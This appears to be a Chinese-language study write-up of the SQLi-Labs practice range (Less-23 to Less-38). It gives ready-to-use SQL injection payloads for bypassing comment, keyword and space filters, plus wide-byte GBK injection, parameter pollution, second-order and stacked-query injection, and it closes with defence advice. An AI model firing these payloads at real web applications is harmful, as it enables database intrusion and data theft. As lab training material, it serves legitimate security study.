SQLi_Labs靶场之Advanced Injections学习分享
字数 1121 2025-08-24 20:49:31
SQLi_Labs靶场之Advanced Injections高级注入技术详解
一、基础过滤绕过技术
1. 注释符过滤绕过
Less-23案例:
- 过滤字符:
#、--+ - 绕过方法:使用
or "1"="1"闭合语句
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
2. 逻辑运算符过滤绕过
Less-25案例:
- 过滤字符:
or、and - 绕过方法:
- 使用
&&、||替代 - 双写关键字绕过
- 使用
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23
3. 空格过滤绕过
Less-26案例:
- 过滤字符:空格、注释
- 绕过方法:
- 使用
%0a(换行符)替代空格 - 使用
%a0(非中断空格)替代
- 使用
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
0%27)%a0union%a0select%a01,database(),2||('1
二、高级注入技术
1. 二次注入攻击
Less-24案例:
- 创建恶意用户:
admin'#,密码123456 - 修改密码时形成SQL:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
#注释掉后续语句,实际修改的是admin用户的密码
2. 关键字过滤绕过
Less-27/27a案例:
- 过滤字符:
union、select - 绕过方法:大小写混合
0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
3. 宽字节注入
Less-32-37案例:
- 适用环境:GBK编码
- 原理:利用GBK双字节特性,
%df'组合形成合法字符
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23
4. 参数解析差异利用
Less-29-31案例:
- 利用Tomcat与Apache解析差异:
- Tomcat:取第一个参数值
- Apache:取最后一个参数值
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
三、堆叠注入技术
Less-38案例:
- 执行多条SQL语句:
?id=0%FE' union select 1,version(),database() %23
?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
1';create table test38 like users;%23
四、防御建议
- 使用预编译语句(Prepared Statements)
- 严格过滤特殊字符和关键字
- 统一参数解析逻辑
- 设置数据库最小权限
- 对GBK等宽字符编码进行特殊处理
- 禁用堆叠查询功能
五、技术总结表
| 技术类型 | 关键绕过方法 | 适用场景 | 示例 |
|---|---|---|---|
| 注释符过滤 | 逻辑闭合 | #、--被过滤 | or '1'='1' |
| 逻辑运算符 | 符号替代 | and/or被过滤 | ` |
| 空格过滤 | 特殊字符替代 | 空格被过滤 | %0a, %a0 |
| 关键字过滤 | 大小写混合 | union/select被过滤 | selEct |
| 宽字节注入 | %df组合 | GBK环境 | %df' |
| 参数解析差异 | 多参数 | Tomcat/Apache混合 | ?id=1&id=payload |
| 堆叠注入 | 分号分隔 | 支持多语句 | ;create table |
通过系统学习这些高级注入技术,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地防御这些攻击手段。